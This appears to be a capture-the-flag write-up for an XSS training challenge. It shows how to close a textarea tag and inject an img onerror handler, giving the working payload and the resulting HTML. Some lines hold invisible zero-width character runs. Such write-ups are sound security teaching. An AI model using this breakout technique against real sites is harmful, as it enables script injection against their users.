Easy 2

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: html_tag_breakout_xss, img_onerror_xss, textarea_escape_xss

Summary

Walkthrough of the CUSTOM Web Easy 2. SiBears XSS School challenge. User input is placed inside a <textarea> tag. Goal: execute prompt("sibears").

Description

SiBears XSS School challenge. User input is placed inside a <textarea> tag. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/2

Analysis

The escape function places user input between opening and closing textarea tags:

 js read-only • copy allowed Copy
function escape(s) {
  return '<textarea>' + s + '</textarea>';
}

Vulnerability: textarea content is normally interpreted as text, but if we can close the textarea tag, the subsequent HTML will be interpreted by the browser as regular HTML. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Textarea specifics:

• Everything inside textarea is displayed as text
• But the closing tag </textarea> terminates this context
• After it, arbitrary HTML can be injected

Solution

Payload to escape from textarea and inject XSS:

</textarea><img src=x onerror=prompt("sibears")>

Resulting HTML:

 html read-only • copy allowed Copy
<textarea></textarea><img src=x onerror=prompt("sibears")></textarea>

Breakdown:

• </textarea> — closes the textarea tag
• <img src=x — creates an img element with non-existent src
• onerror=prompt("sibears") — error handler for failed load
• The extra </textarea> at the end is ignored by the browser ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering html_tag_breakout_xss, img_onerror_xss, textarea_escape_xss was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Easy 2 • Difficulty: Easy